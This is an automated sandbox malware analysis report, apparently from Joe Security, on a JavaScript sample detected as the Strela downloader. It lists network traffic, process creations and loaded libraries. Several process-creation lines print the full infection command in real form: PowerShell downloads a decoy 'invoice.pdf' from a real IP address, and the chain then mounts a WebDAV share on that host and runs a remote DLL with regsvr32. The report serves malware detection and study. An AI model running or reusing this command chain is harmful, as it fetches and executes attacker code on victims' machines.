Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2022725770.000001F868478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2075797133.000002605F360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2075797133.000002605F38F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2075797133.000002605F340000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2075797133.000002605F368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2075797133.000002605F340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/:
Source: net.exe, 00000007.00000002.2075797133.000002605F340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000009.00000002.3304720548.0000024E650A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2176128470.0000024E650A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2088529581.0000024E64D80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5548, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3130621478256819696.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6984:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qljetg1w.z4r.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3130621478256819696.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1528,i,9503969084529999324,17013692657919030116,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1528,i,9503969084529999324,17013692657919030116,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
